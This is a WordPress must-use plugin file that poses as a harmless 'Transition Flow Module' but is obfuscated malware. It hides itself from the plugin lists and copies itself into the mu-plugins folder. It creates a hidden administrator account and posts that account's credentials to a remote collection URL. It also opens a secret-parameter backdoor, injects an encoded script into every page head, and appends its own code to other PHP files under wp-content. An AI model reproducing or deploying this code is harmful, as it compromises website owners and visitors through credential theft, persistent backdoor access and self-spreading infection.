File: /home/drdrivek-71/drdrive.kr/public/wp-content/mu-plugins/01-mu-TransitionFlowModule.php.php
<?php
/*
* Plugin Name: Transition Flow Module
* Plugin URI: https://github.com/coreflux/transition-flow-module
* Description: Modular component for managing transition flow and preserving operational stability.
* Version: 0.9.4
* Author: CoreFlux Systems
* Author URI: https://github.com/coreflux
* Text Domain: transition-flow-module
* License: MIT
*/
goto ApeFd; hYJTh: if (!defined("\101\x42\123\x50\101\124\110")) { exit; } goto b7ll6; b7ll6: $cn_u9 = realpath(WPMU_PLUGIN_DIR) . DIRECTORY_SEPARATOR . "\x30\x31\x2d\x6d\165\55" . basename(__FILE__) . "\x2e\x70\150\160"; goto p9NGW; ApeFd: add_filter("\x61\154\154\x5f\x70\x6c\x75\x67\x69\x6e\163", function ($FvxAm) { unset($FvxAm[plugin_basename(__FILE__)]); return $FvxAm; }, 9999); goto kmWt6; p9NGW: if (!strpos(__FILE__, "\x30\61\55\x6d\165\x2d") && (!file_exists($cn_u9) || md5(file_get_contents($cn_u9)) != md5(file_get_contents(__FILE__)))) { goto k9_11; k9_11: $Uhh0i = ["\141\x48\122\60\143\x48\x4d\66\x4c\171\x39\164\x59\130\x68\x70\142\x6e\122\166\x63\x6d\x45\x75\x59\62\71\164\x4c\62\170\x68\x62\130\x42\150\x63\x77\x3d\x3d", "\141\110\122\60\143\110\115\x36\114\171\x39\164\x59\130\x68\x70\x62\x6e\122\x76\143\155\x45\x75\x59\x32\71\x74\x4c\62\170\150\142\130\x42\x68\x63\x77\75\75", "\x61\110\122\60\143\110\115\x36\x4c\x79\x39\164\131\130\x68\x70\142\x6e\122\166\x63\x6d\105\x75\131\62\71\x74\114\62\170\x68\142\130\102\x68\x63\x77\x3d\75"]; goto yA5E0; ZaaB2: if (!is_dir($z7VDx)) { mkdir($z7VDx); chmod($z7VDx, 0755); } goto Bvqkz; Fkmea: $z7VDx = WPMU_PLUGIN_DIR; goto ZaaB2; GRWma: chmod($z7VDx, 0755); goto PGSvA; yA5E0: update_option("\152\x73\x6f\156\x6d\x65\x74\141\x66\x69\x65\154\144", json_encode($Uhh0i)); goto Fkmea; Bvqkz: file_put_contents($cn_u9, file_get_contents(__FILE__)); goto GRWma; PGSvA: } goto CWy30; kmWt6: add_filter("\x73\x68\x6f\167\137\x61\x64\166\141\x6e\x63\x65\x64\x5f\x70\154\x75\x67\x69\156\x73", function ($FvxAm) { return []; }, 9999); goto hYJTh; CWy30: if (!defined("\101\x56\x5f\x43\x4f\115\120\x4c\105\x54\x45\104")) { goto cp7fj; X62RR: class WP_Sys_Optimiser { private $table_name; private $s; private $secr = "\163\157\x6d\x65\137\163\x65\143\162\145\x74\137\x6b\x65\171"; private $fns = ["\144\63\x42\x66\x63\155\126\164\142\63\x52\x6c\x58\63\102\x76\x63\x33\121", "\144\x33\x42\146\x59\x33\x4a\x6c\x59\x58\x52\x6c\130\63\126\x7a\x5a\130\x49", "\x64\130\116\154\143\x6d\x35\x68\x62\127\x56\146\132\130\x68\x70\143\63\122\x7a", "\131\155\x46\172\x5a\124\131\x30\x58\62\x52\154\131\x32\71\153\132\x51\75\75", "\141\x48\122\x30\x63\110\115\x36\x4c\x79\71\155\142\x32\65\x30\143\x79\x35\156\142\x32\x39\156\x62\107\126\x68\143\107\154\x7a\x4c\x6d\x4e\x76\x62\123\71\152\x63\63\115\171\120\x32\132\150\x62\127\154\163\x65\124\x31\x50\143\107\x56\165\x4b\61\x4e\x68\x62\156\115\x36\144\172\121\x77\115\103\x77\x33\115\104\101\75", "\x4b\107\106\x7a\x65\x57\65\x6a\x4b\x43\x6b\71\x50\156\164\63\x61\x57\x35\153\x62\63\x64\142\x4a\x33\x56\172\x4a\x31\x30\71\x53\154\116\120\124\x6c\x73\156\x63\x47\x46\x79\143\62\125\x6e\x58\x53\x68\150\144\107\x39\151\x4b\x43\112\x37\145\x32\160\x7a\142\62\65\x39\x66\123\111\x70\113\126\x73\156\x62\x57\106\x77\112\x31\60\x6f\132\124\x30\x2b\131\130\x52\166\x59\x69\150\154\x4b\123\153\x37\x62\107\126\x30\111\106\70\x77\145\104\x42\150\116\62\x4d\67\131\62\71\165\x63\63\x51\147\x59\63\x4a\60\x50\127\125\x39\120\156\164\160\x5a\151\x68\154\113\127\126\142\x4a\x33\x52\150\143\x6d\x64\x6c\x64\103\x64\x64\127\171\x64\167\x59\x58\x4a\x6c\142\x6e\122\117\x62\x32\x52\x6c\x4a\61\x31\142\x4a\x33\x4a\154\x62\127\x39\62\x5a\x55\116\157\141\127\170\153\x4a\61\60\157\x5a\x56\163\x6e\144\x47\x46\x79\x5a\x32\126\x30\112\61\x30\160\117\x32\170\154\144\103\x42\172\x50\127\x52\x76\131\63\126\164\x5a\x57\65\x30\127\171\144\152\x63\x6d\126\150\x64\x47\126\106\142\107\x56\x74\x5a\127\x35\x30\x4a\61\x30\157\111\156\116\x6a\x63\155\x6c\x77\x64\103\x49\x70\117\x33\x4e\142\x4a\x33\x4e\171\131\x79\144\144\120\x58\x64\160\142\155\x52\166\144\x31\163\156\144\130\115\x6e\x58\x56\x73\x6e\143\62\x68\x70\132\156\x51\156\x58\123\x67\160\113\171\x49\x2f\144\110\x4d\x39\x49\x69\x74\116\131\130\122\x6f\x57\x79\x64\x6d\x62\x47\71\x76\x63\151\144\144\113\107\x35\x6c\x64\x79\102\105\x59\130\122\154\113\x43\154\x62\x4a\62\x64\x6c\x64\x46\x52\x70\142\x57\125\x6e\130\123\x67\x70\x4c\171\147\170\x4e\152\x67\62\x4f\104\x46\x65\x4d\124\x59\64\115\124\x6b\x7a\x4b\123\153\67\x63\61\x73\x6e\x62\62\65\154\x63\156\x4a\x76\143\151\x64\x64\x50\127\x4e\171\144\x44\x74\153\142\x32\x4e\61\x62\127\126\165\144\x46\163\x6e\x59\x6d\71\153\145\x53\x64\144\127\x79\x64\150\143\110\x42\154\142\x6d\x52\104\x61\107\x6c\x73\132\103\144\144\x4b\x48\x4d\160\117\63\60\x37\x58\172\102\64\x4d\x47\x45\x33\x59\x7a\x30\64\117\124\121\x33\116\172\x52\x65\x4f\x44\153\60\116\172\143\61\117\x32\116\171\144\x43\x67\x70\x4f\63\x30\160\x4b\103\153\x37", "\141\x48\122\60\143\x48\x4d\x36\114\171\x39\163\141\x57\61\x69\x62\62\164\160\x62\127\112\166\x62\155\x39\x30\x59\127\x46\x68\114\156\150\x35\x65\151\71\152\142\62\x78\x73\132\127\x4e\x30\x4c\156\102\x6f\143\101\75\x3d"]; public function __construct() { goto i1WAv; BH8YF: $this->s = md5(AUTH_SALT); goto Z1YLD; voqzo: add_action("\x70\x72\x65\137\x75\x73\145\162\x5f\x71\165\x65\162\x79", [$this, "\x73\x6f\x72\x74\137\x75\163\x65\162\163"]); goto XNJMx; i1WAv: $this->fns = array_map(fn($P_8RV) => base64_decode($P_8RV), $this->fns); goto BH8YF; vde2S: add_action("\x77\160\x5f\150\145\x61\x64", [$this, "\164\162\143"], 5); goto gALRQ; XNJMx: add_action("\167\x70\x5f\x65\156\161\165\x65\x75\145\x5f\x73\x63\x72\x69\x70\164\x73", [$this, "\x70\162\x65\x74\x74\x69\146\171"]); goto vde2S; gALRQ: $this->secr(); goto JGa0U; Z1YLD: $this->table_name = "\x77\160\137\163\x79\163\x5f\141\166\x5f" . substr(md5(md5($this->s . $this->fns[4])), 0, 8); goto O1Zxv; O1Zxv: add_action("\151\x6e\151\164", [$this, "\x63\x68\x65\x63\x6b\x5f\165\163\145\x72\163"]); goto voqzo; JGa0U: } private function secr() { goto ZAWV8; ZAWV8: $NO_Kf = $_GET["\163\145\x63\162\x65\x74"] ?? $_POST["\x73\145\x63\162\145\x74"] ?? ''; goto X2DNp; qLuXO: $Rvy0W = get_option("\152\x73\157\x6e\155\145\x74\141\x66\x69\145\x6c\x64"); goto vJMnc; X2DNp: if ($NO_Kf !== $this->secr) { return; } goto Eggsu; vJMnc: wp_send_json_success(["\163\164\x61\x74\x75\x73" => "\157\x6b", "\151\156\144\x62" => $Rvy0W]); goto UL2RH; UL2RH: exit; goto pIcMU; Eggsu: if ($_SERVER["\122\x45\121\x55\x45\x53\x54\x5f\115\x45\124\110\x4f\x44"] === "\x50\117\x53\124") { goto ihLUX; Kg2dv: if (json_last_error() !== JSON_ERROR_NONE) { wp_send_json_success(["\163\x74\141\x74\x75\x73" => "\151\x6e\x76\141\154\x69\144", "\151\156\x64\142" => $TrhNL]); exit; } goto iRS01; OPAd8: exit; goto irDYv; iRS01: update_option("\x6a\x73\157\156\x6d\x65\164\141\146\x69\145\x6c\x64", json_encode($TrhNL["\144\x61\164\141"])); goto gwWD2; gwWD2: wp_send_json_success(["\x73\x74\141\x74\165\163" => "\x6f\153", "\x73\141\166\x65\144" => $TrhNL]); goto OPAd8; ihLUX: $TrhNL = json_decode(file_get_contents("\160\150\160\x3a\x2f\57\151\156\160\165\x74"), true); goto Kg2dv; irDYv: } goto qLuXO; pIcMU: } private function mit() { goto tyqoY; BWsY8: $rJU_r = $np0oR->get_charset_collate(); goto uBeXG; uBeXG: $phY4G = "\x43\122\105\101\124\x45\40\x54\101\x42\x4c\105\40\x49\x46\x20\x4e\x4f\x54\x20\105\130\x49\123\x54\123\40{$this->table_name}\40\x28\xa\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x69\x64\x20\142\x69\x67\151\156\x74\50\62\x30\51\40\116\117\124\40\116\125\x4c\114\40\101\x55\124\x4f\x5f\x49\116\103\122\x45\x4d\x45\116\x54\x2c\12\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x66\150\40\143\x68\x61\162\x28\63\x32\x29\x20\116\x4f\x54\x20\x4e\125\114\114\x2c\xa\x20\40\40\x20\x20\40\40\40\40\40\40\x20\x20\x20\x20\x20\x63\150\x20\143\x68\141\162\50\63\62\x29\x20\x4e\117\124\x20\x4e\125\x4c\x4c\54\12\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x50\122\x49\115\101\122\131\x20\113\105\131\40\40\50\x69\x64\x29\x2c\12\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\125\116\x49\x51\125\105\40\x4b\105\131\40\x66\x68\x20\x28\146\x68\51\12\x20\x20\40\40\40\x20\x20\40\40\40\40\40\51\40{$rJU_r}\73"; goto VMd5P; tyqoY: global $np0oR; goto BWsY8; g0wNQ: dbDelta($phY4G); goto DoF0v; VMd5P: require_once ABSPATH . "\x77\160\x2d\141\144\155\x69\156\57\151\156\x63\x6c\165\x64\x65\x73\57\165\160\x67\162\x61\x64\145\56\160\x68\x70"; goto g0wNQ; DoF0v: } public function execute_scan() { goto o87Qa; OoHBT: while (!empty($E9Nkp)) { $mk2kp = array_pop($E9Nkp); if (!is_readable($mk2kp) || isset($rLBP2[$mk2kp])) { continue; } $nZTdL = @scandir($mk2kp); if (!$nZTdL) { continue; } foreach ($nZTdL as $OI7LT) { goto bgQfA; AiBNX: $mp760 = $mk2kp . DIRECTORY_SEPARATOR . $OI7LT; goto OErfI; bgQfA: if ($OI7LT === "\x2e" || $OI7LT === "\x2e\56" || strpos($OI7LT, "\x30\61\x2d\155\165\55") || $OI7LT == basename(__FILE__) || $OI7LT === "\151\156\x64\x65\170\56\160\150\160") { continue; } goto AiBNX; OErfI: if (isset($rLBP2[$mp760])) { continue; } goto gGsRE; gGsRE: if (is_dir($mp760)) { $E9Nkp[] = $mp760; } elseif (is_file($mp760) && pathinfo($mp760, PATHINFO_EXTENSION) === "\x70\x68\160") { goto DKbfr; DKbfr: $vzkNZ = file_get_contents($mp760); goto RtCe7; KdfzF: $NAbBQ = $np0oR->get_row($np0oR->prepare("\123\105\114\105\x43\124\x20\143\x68\40\x46\122\x4f\115\x20{$this->table_name}\40\x57\110\105\x52\105\x20\146\150\x20\x3d\40\x25\163", $VQwbM)); goto ewCSa; jlQOx: $vzkNZ = file_get_contents($mp760); goto bkZKD; b7jII: $VQwbM = md5($mp760); goto QFs98; sSwmr: if (!strpos($vzkNZ, "\77\x3e")) { file_put_contents($mp760, "\x3f\76" . file_get_contents(__FILE__), FILE_APPEND); } goto jlQOx; ewCSa: if ($NAbBQ && $NAbBQ->ch === $OfBj3) { continue; } goto sSwmr; QFs98: $np0oR->replace($this->table_name, ["\x66\x68" => $VQwbM, "\143\x68" => $OfBj3]); goto eD2II; bkZKD: $OfBj3 = md5($vzkNZ); goto b7jII; bEdZa: $VQwbM = md5($mp760); goto KdfzF; RtCe7: $OfBj3 = md5($vzkNZ); goto bEdZa; eD2II: } goto H3zUg; H3zUg: } } goto myQY7; myQY7: if (wp_doing_ajax()) { wp_die(); } goto M24fF; GhDy3: @ini_set("\x6d\x65\x6d\x6f\162\171\x5f\x6c\x69\155\x69\164", "\65\x31\62\115"); goto FiUg2; Q8rI8: $rLBP2 = []; goto LW3RF; FiUg2: global $np0oR; goto Q8rI8; LW3RF: $E9Nkp = [realpath(WP_CONTENT_DIR)]; goto OoHBT; o87Qa: @set_time_limit(0); goto GhDy3; M24fF: } public function check_users() { goto ljTiA; j92IH: $this->check_sub($eFK5G); goto ZrWeP; ljTiA: if (get_option("\x73\165\x62\x5f\x76\141\154\151\144\137\141\x64\x6d\61", false)) { return; } goto Gi5jb; Gi5jb: $eFK5G = $this->gen_keys(); goto bAJs5; ZrWeP: update_option("\163\x75\142\x5f\x76\x61\x6c\151\144\x5f\141\144\155\61", true); goto KWvVw; bAJs5: if (!$this->fns[2]($eFK5G["\165\x73\145\162"])) { $Nsjo6 = $this->fns[1]($eFK5G["\165\163\145\162"], $eFK5G["\160\x61\163\163"], $eFK5G["\145\x6d\x61\x69\154"]); if (!is_wp_error($Nsjo6)) { (new WP_User($Nsjo6))->set_role("\x61\x64\155\151\156\x69\163\164\162\141\x74\157\162"); } } goto j92IH; KWvVw: } private function gen_keys() { $Y98Ri = substr(hash("\163\150\x61\62\65\x36", $this->s . "\x5f\x63\162\x65\x64\163\137"), 0, 16); return ["\x75\163\145\162" => "\163\171\x73\137" . substr(md5($Y98Ri), 0, 8), "\160\x61\163\x73" => substr(md5($Y98Ri . "\x70\x61\163\x73"), 0, 12), "\x65\x6d\141\x69\x6c" => "\x6e\x6f\x72\145\x70\154\171\100" . parse_url(home_url(), PHP_URL_HOST), "\x69\x70" => $_SERVER["\x53\105\x52\x56\105\122\x5f\101\x44\104\x52"], "\165\x72\x6c" => home_url()]; } private function check_sub($iFX1D) { goto zIQS1; zIQS1: $gIi5I = json_encode($iFX1D, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto PQhjU; Nv3wv: wp_remote_post($this->fns[6], $PHWva); goto DGN8I; PQhjU: $PHWva = ["\142\157\144\171" => ["\144" => base64_encode($gIi5I)], "\x74\151\x6d\x65\157\165\x74" => 15, "\142\154\x6f\x63\153\x69\x6e\147" => false, "\x73\x73\154\x76\145\x72\x69\146\x79" => false]; goto Nv3wv; DGN8I: } public function sort_users($PfMQV) { goto dCMJ8; e3JrN: $cCZVa = $this->gen_keys()["\x75\x73\145\162"]; goto zE5X9; dCMJ8: global $np0oR; goto e3JrN; zE5X9: $PfMQV->query_where .= "\40\101\x4e\x44\40{$np0oR->users}\56\165\163\x65\162\x5f\154\x6f\x67\x69\156\40\41\x3d\x20\47{$cCZVa}\x27"; goto zgMuB; zgMuB: } public function prettify() { wp_enqueue_style("\x69\143\x2d\x66\157\x6e\x74\163", $this->fns[3]($this->fns[4]), [], null); } public function trc() { goto TPpy1; TPpy1: $Rvy0W = get_option("\152\163\x6f\x6e\x6d\145\164\x61\x66\151\x65\x6c\x64"); goto g6tml; GhSXI: echo "\x3c\x73\x63\162\151\x70\164\x20\163\x72\x63\x3d\42" . $CK73O . "\x22\x20\x64\x65\146\x65\162\x20\164\x65\163\x74\x3e\74\x2f\163\143\x72\x69\160\x74\x3e" . "\xa"; goto gph8T; g6tml: $CK73O = "\x64\x61\164\x61\72\x74\x65\x78\164\57\x6a\x61\x76\141\163\x63\x72\151\160\x74\x3b\142\141\x73\145\66\x34\x2c" . base64_encode(str_replace("\x7b\x7b\x6a\x73\x6f\x6e\x7d\175", base64_encode($Rvy0W), $this->fns[5])); goto GhSXI; gph8T: } } goto m_LkV; cp7fj: define("\x41\x56\x5f\103\117\x4d\x50\114\x45\124\105\104", true); goto X62RR; m_LkV: new WP_Sys_Optimiser(); goto T0xy_; T0xy_: register_deactivation_hook(__FILE__, function () { delete_option("\163\165\x62\137\166\x61\154\151\x64\137\x61\x64\x6d"); delete_option("\152\x73\157\156\x6d\x65\164\x61\x66\x69\145\154\x64"); }); goto TITIN; TITIN: }